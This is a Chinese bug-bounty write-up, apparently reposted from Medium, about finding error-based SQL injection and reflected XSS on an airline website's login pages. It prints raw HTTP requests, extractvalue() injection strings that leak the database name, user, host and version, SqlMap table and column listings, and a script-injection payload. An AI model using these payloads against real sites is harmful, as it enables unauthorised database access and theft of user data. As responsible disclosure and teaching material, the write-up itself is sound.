最新消息:

挖洞经验| 热门航空网站上的SQLI和XSS漏洞

WEB安全 demon 11077浏览 0评论

 

上个月为了练手,我选择了一个较受欢迎的网站(goodwesite.com)作为我的渗透测试对象。在漏洞挖掘过程中,我发现了该网站存在SQL注入和XSS漏洞。在正式开始文章内容前,让我们先来简单了解下该类漏洞的定义及产生原理。

什么是SQL注入漏洞?

此漏洞允许未经身份验证的用户,从受害者的网站数据库中窃取数据,包括敏感用户信息等。

漏洞产生原因?

之所以存在该漏洞是因为,goodwebsite在其登录界面对于用户输入的内容未进行正确的过滤处理导致的。这与在原始SQL查询中添加用户输入基本相同此时黑客只需输入相应的攻击向量,就可能窃取走数据库中的哈希密码和其他敏感用户信息。

因此,在测试“登录”页面时我随机输入了个用户名和密码,并使用Burp Suite拦截其请求,接着我用Test%27来作为用户名,然后将请求转发给Burp Repeater,并收到一条错误的回复,响应中的错误仿佛像是在发起申请请求。

Request:
POST /register-login/check.php HTTP/1.1
Content-Length: 76
Content-Type: application/x-www-form-urlencoded
Cookie: bmslogin=no; bmsid=f3011db015dca9a4f2377cd4e864f724
Host: goodwebsite.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: /
strLogin=Test%27&strPassword=k
Response Error:
PDOException Object ( [message:protected] => SQLSTATE[42000]: Syntax error or access viola
tion: 1064 You have an error in your SQL syntax; check the manual that corresponds to your My
SQL server version for the right syntax to use near Test’ ‘ and valid_id = 1’ at line 1 [string:Exce
ption:private] => [code:protected] => 42000 [file:protected] => /var/www/goodwebsite.server.co
m/register-login/send.php [line:protected] => 10 [trace:Exception:private] => Array ( [0] => Array
( [file] => /var/www/goodwebsite.server.com/register-login/send.php [line] => 10 [function] => q
uery [class] => PDO [type] => -> [args] => Array ( [0] => SELECT * FROM wp_ggg_user WHER
E login = Test’e ‘ and valid_id = 1; ) [previous:Exception:private] => [errorInfo] => Array ( [0] =
> 42000 1 => 1064 2 => You have an error in your SQL syntax; check the manual that corre
> sponds to your MySQL server version for the right syntax to use near Test’ ‘ and valid_id
> = 1’ at line 1 )

根据初步的判断,我尝试了一些其他的SQL查询,我使用的第一个查询语句是Test%27and extractvalue(1,concat(0x00a,database()))or’这次出现的错误与上述类似,只是出现了一点小的变化,错误的结尾部分如下:

[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
goodwebsite’
 )

从以上错误信息中,我们获取到了网站的数据库名称为goodwebsite

除此之外,我还测试了以下的基本信息查询语句:

system_user()
@@version
database()
@@hostname
@@datadir
@@GLOBAL.VERSION
session_user()
schema()
UUID()

所以,接着我使用的查询语句是Test%27和extractvalue(1,concat(0x00a,system_user()))or’错误返回信息如下:

[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
goodwebsite@localhost’
 )

通过以上查询测试,足以证明SQL注入漏洞的存在。为了获取更多的信息,我继续使用了第三个查询语句Test%27和extractvalue(1,concat(0x00a,@@ hostname))or’错误返回信息如下:

[previous:Exception:private] =>
    [errorInfo] => Array
        (
            [0] => HY000
            [1] => 1105
            [2] => XPATH syntax error: '
www2.rz.something.com'
        )

这里,我差点忘了查询目标数据库的版本信息,使用查询语句Test%27和extravtcalue(1,concat(0x00a,@@ version))or“错误返回信息如下:

[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
5.1.73–1+deb6u1-log’
 )

最后,我尝试查询了测试%27和extractvalue(1,concat(0x00a,UUID())or’错误返回信息如下:

[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
ab88…..UUDI’
 )

到目前为止,我已经获取到了许多有价值的信息但这还远远不够,为了节省时间我决定使用SQLI扫描神器的SqlMap;来帮助我完成后续的查询任务以下是的SqlMap为我返回的结果。:

web server operating system: Linux Debian 6.0 (squeeze)
web application technology: Apache 2.2.16, PHP 5.4.42
back-end DBMS: MySQL >= 5.0
Database: goodwebsite
[18 tables]
+ — — — — — — — — — — — — -+
| wp_bms_log |
| wp_bms_quiz_lh_answer |
| wp_bms_quiz_lh_question |
| wp_bms_quiz_lh_quiz |
| wp_bms_statistics |
| wp_bms_user |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+ — — — — — — — — — — — — -+

Then:
Table: wp_users
[10 columns]
+ — — — — — — — — — — -+ — — — — — — — — — — -+
| Column | Type |
+ — — — — — — — — — — -+ — — — — — — — — — — -+
| display_name | varchar(250) |
| ID | bigint(20) unsigned |
| user_activation_key | varchar(255) |
| user_email | varchar(100) |
| user_login | varchar(60) |
| user_nicename | varchar(50) |
| user_pass | varchar(255) |
| user_registered | datetime |
| user_status | int(11) |
| user_url | varchar(100) |
+ — — — — — — — — — — -+ — — — — — — — — — — -+

但基于渗透测试的基本原则,我并没有继续深入下去。

XSS:

在完成对SQLI漏洞的测试后,接着我将测试目标转向了另一个页面goodwebsite.com/register-login/send.php。同样是一个POST请求,不同的是它带有一个strSendMail =的可输入变量。因此,我测试了以上相同的SQL语句,并获取到了同样的错误返回结果。接着,我测试了一个XSS的有效载荷E’%22()%26%25 <ACX> <SCRIPT%20>prompt(/ khizer /)</ ScRiPt>,请求如下:

POST /register-login/send.php HTTP/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Referer: http://goodwebsite.com/
Cookie: bmslogin=no; bmsid=f3011db015dca9a4f2377cd4e864f724
Host: goodwebsite.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

strSendMail=e’%22()%26%25<acx><ScRiPt%20>prompt(/khizer/)</ScRiPt>

弹框了!

之后,我第一时间报告了这两个漏洞的细节,他们在一小时内就进行了修复,并向我发送了感谢信。

*参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM

转载请注明:即刻安全 » 挖洞经验| 热门航空网站上的SQLI和XSS漏洞

您必须 登录 才能发表评论!

网友最新评论 (1)



合作伙伴